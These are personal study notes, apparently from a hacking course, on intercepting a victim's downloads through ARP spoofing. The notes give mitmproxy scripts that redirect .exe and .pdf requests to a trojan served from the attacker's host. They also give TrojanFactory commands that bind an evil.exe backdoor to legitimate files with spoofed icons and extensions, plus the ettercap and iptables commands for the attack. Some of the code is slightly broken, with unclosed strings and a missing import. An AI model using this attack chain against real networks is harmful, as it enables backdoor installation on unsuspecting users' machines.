MITM scripts

čtvrtek 9. července 2020 10:21

MITMproxy scripting wiki page: https://docs.mitmproxy.org/stable/

I will use MITM scripts for modifying responses captured by mitmproxy web gui when user donwload some file, .exe file or any other file. I will modify them to contain my trojan to open backdoor to the target systém.

MITMproxy and mitmdump does not support feature to modify donwloaded file by user. But MITMproxy has a scripting API. Python code can be used to interact with MITMproxy. Python is a very powerful programming language. Python + MITMproxy = very powerful MITM scripts.

In mitmproxy web gui, after filter .exe, you should see request and response of file that users downloaded. With next script we screate our own response with trojan file. You do not have to know real response (used in one-way arp spoofing).

Capturing and printing Request/Responses

```
from mitmproxy import http

# flow is a container where all data is stored
def request(flow):
        #Code to handle request flows
        print(flow)

def response(flow):
        #Code to handle response flows
        print(flow)
```

Run the mitmproxy with this script
$ ./mitmdump -s /root/basic.py

Filtering, generating custom http response

čtvrtek 9. července 2020 13:04

Filtering and extracting useful data

In the code from previous page you can delete response function, because we are interested only in requests. We will make our own responses. We will filter packets which url ends with .exe

```
from mitmproxy import http
def request(flow):
        #Code to handle request flows
        print(flow.request)
```

Run the mitmproxy with this script and download a file from browser. (Clear cache first)
$ ./mitmdump -s /root/basic.py

Using conditions to execute code on useful flows

```
from mitmproxy import http
def request(flow):
        #Code to handle request flows
        if flow.request.pretty_url.endswith(".exe"):
                print("This is a request")
                print(flow)
```

Generating custom http responses

HTTP 301: https://en.wikipedia.org/wiki/HTTP_301

```
from mitmproxy import http
def request(flow):
        #Code to handle request flows
        if flow.request.pretty_url.endswith(".exe"):
                print("This is a request")
                #mitmproxy.http.HTTPResponse.make(HTTP STATUS CODE, CONTENT, HEADERS)
                # redirect user to download exe file from http://YOUR_IP/file.exe
                mitmproxy.http.HTTPResponse.make(301, "", { "Location" : "http://YOUR_IP/file.exe" })
```

Testing script locally

čtvrtek 9. července 2020 14:28

```
from mitmproxy import http
def request(flow):
        #Code to handle request flows
        if flow.request.pretty_url.endswith(".exe"):
                print("This is a request")
                #mitmproxy.http.HTTPResponse.make(HTTP STATUS CODE, CONTENT, HEADERS)
                # redirect user to download exe file from http://YOUR_IP/file.exe
                flow.response = mitmproxy.http.HTTPResponse.make(301, "", { "Location" : "http://YOUR_IP/file.exe" })
```

When try this, the page will be stuck because it will redirecting again and again, fix this with following.

```
from mitmproxy import http
def request(flow):
        #Code to handle request flows
        if flow.request.host != "YOUR_IP" and flow.request.pretty_url.endswith(".exe"):
                print("This is a request")
                #mitmproxy.http.HTTPResponse.make(HTTP STATUS CODE, CONTENT, HEADERS)
                # redirect user to download exe file from http://YOUR_IP/file.exe
                flow.response = mitmproxy.http.HTTPResponse.make(301, "", { "Location" : "http://YOUR_IP/file.exe" })
```

Generating trojans

čtvrtek 9. července 2020 14:35

Installing the trojan factory

GitHub repo: https://github.com/z00z/TrojanFactory
A trojan is a file that looks and functions as a normal file (image, pdf, song, ..etc). When executed it opens normal file that the user expects and executes evil code in the background (run a backdoor/keylogger, ..etc). Therefore it is great to social engineer the target into running our evil code.

On https://github.com/z00z/TrojanFactory bottom is a link to https://www.autoitscript.com/site/autoit/downloads/ where you can download AutoIt.

```
$ cd Downloads & ls
# use wine to run the exe file and install it
$ wine AutoIt*.exe
$ cd /opt & ls
$ git clone  https://github.com/z00z/TrojanFactory.git
$ cd TrojanFactory & ls
$ python tronjan_factory.py --help
```

Converting any file to a trojan (for example an image)

Combine evil file with normal file (image, book, song, ..etc). Configure evil file to run silently in the background. Change file icon. Change file extension.

```
$ tronjan_factory.py --help
# you need to have prepared trojan file (described in social engineering section), trojan file must be stored on your /var/www/html and apache server is running, also you can add an icon
$ tronjan_factory.py -f https://pubs.usgs.gov/dds/dds-057/ReadMe.pdf -e http://YOUR_IP/evil.exe -o /var/www/html/ReadMe.exe -i /root/Downloads/pdf.ico
# if you use -z at the end of above command, the trojan will be stored in zip archive
# your trojan file is now stored in /var/www/html/ReadMe.exe
```

Testing script on remote computer

čtvrtek 9. července 2020 15:23

```
from mitmproxy import http
def request(flow):
        #Code to handle request flows
        if flow.request.host != "YOUR_IP" and flow.request.pretty_url.endswith(".pdf"):
                print("This is a request")
                #mitmproxy.http.HTTPResponse.make(HTTP STATUS CODE, CONTENT, HEADERS)
                # redirect user to download exe file from http://YOUR_IP/file.exe
                flow.response = mitmproxy.http.HTTPResponse.make(301, "", { "Location" : "http://YOUR_IP/Index.zip" })
```

Become MITM. With ettercap use following.
$ ettercap -Tq -M arp:remote -i eth0 -S /TARGET// /GATEWAY//
# in new terminal window run following
$ ./mitmdump -s /root/SCRIPT.py --transparent
# in new terminal window run following
$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

Lets go to window machine and serach for sample pdf in google. Once the target open a url it will be asked to donwload Index.zip file. This still seems very suspisious.

Generating trojans on the fly

čtvrtek 9. července 2020 15:32

Executing bash commands & calling trojan factory from our script

Intercept and replace downloads. Combine any file with an evil file. Write MITMproxy scripts. Lets combine all of this. Replace files the user downloads with a trojan that will run the file they expect + our evil file.

This will create a trojan that will look exactly the same as users expects.

```
from mitmproxy import http
def request(flow):
        #Code to handle request flows
        if flow.request.host != "YOUR_IP" and flow.request.pretty_url.endswith(".pdf"):
                print("This is a request")

                subprocess.call("python /opt/TrojanFactory/tronjan_factory.py -f
https://pubs.usgs.gov/dds/dds-057/ReadMe.pdf -e http://YOUR_IP/evil.exe -o /var/www/html/ReadMe.exe -i
/root/Downloads/pdf.ico -z", shell=True)

                #mitmproxy.http.HTTPResponse.make(HTTP STATUS CODE, CONTENT, HEADERS)
                # redirect user to download exe file from http://YOUR_IP/file.exe
                flow.response = mitmproxy.http.HTTPResponse.make(301, "", { "Location" : "http://YOUR_IP/Index.zip" })
```

Using variables & more complex conditions

```
import mitmproxy
Import subprocess
def request(flow):
        #Code to handle request flows
        if flow.request.host != "YOUR_IP" and flow.request.pretty_url.endswith(".pdf"):
                print("This is a request")

                front_file = flow.request.pretty_url + "#"

                subprocess.call("python /opt/TrojanFactory/tronjan_factory.py -f '" + front_file + "' -e
http://YOUR_IP/evil.exe -o /var/www/html/file.exe# -i /root/Downloads/pdf.ico -z", shell=True)

                #mitmproxy.http.HTTPResponse.make(HTTP STATUS CODE, CONTENT, HEADERS)
                # redirect user to download exe file from http://YOUR_IP/file.exe
                flow.response = mitmproxy.http.HTTPResponse.make(301, "", { "Location" : "http://YOUR_IP/Index.zip
```

Converting downloads to trojan

čtvrtek 9. července 2020 16:12

Converting downloads to trojans on the fly

```
import mitmproxy
Import subprocess
def request(flow):
        #Code to handle request flows
        if flow.request.host != "YOUR_IP" and flow.request.pretty_url.endswith(".pdf"):
                print("This is a request")

                front_file = flow.request.pretty_url + "#"

                subprocess.call("python /opt/TrojanFactory/tronjan_factory.py -f '" + front_file + "' -e
http://YOUR_IP/evil.exe -o /var/www/html/file.exe# -i /root/Downloads/pdf.ico -z", shell=True)

                #mitmproxy.http.HTTPResponse.make(HTTP STATUS CODE, CONTENT, HEADERS)
                # redirect user to download exe file from http://YOUR_IP/file.exe
                flow.response = mitmproxy.http.HTTPResponse.make(301, "", { "Location" :
"http://YOUR_IP/Index.zip
```

The Trojan Factory's MITMproxy script

čtvrtek 9. července 2020 16:18

We still have a problem that the filename of downloaded file is file.exe. For this TrojanFactory comes with script mitmproxy_script.py. It is based on the script created previously. Extra features are proper implementation of Trojan Factory, supports multiple file types, spoof file extensions on thy fly, adds appropriate icon on thy fly.

Configuring the trojan factory's MITMproxy script

Open the /opt/TrojanFactory/mitmproxy_script.py and set IP, TARGET_EXTENSIONS, EVIL_FILE, WEB_ROOT and SPOOF_EXTENSION. This file is very similar to file I hav been building in previous pages. Evil_file link must end with #. There also some icon in folder icons. You can add more, but it must have extension .ico and its name must be the name of filetype. Example mp4.ico.

Using the trojan factory's MITMproxy script

```
$ cs /opt/mitmproxy
$ ./mitmdump -s /opt/TrojanFactory/mitmproxy_script.py --transparent
# in new terminal window become the MITM
$ ettercap -Tq -M arp:remote -i eth0 -S /TARGET// /GATEWAY//
# in new terminal window run following
$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
```

Lets fo to the victim machine and test this.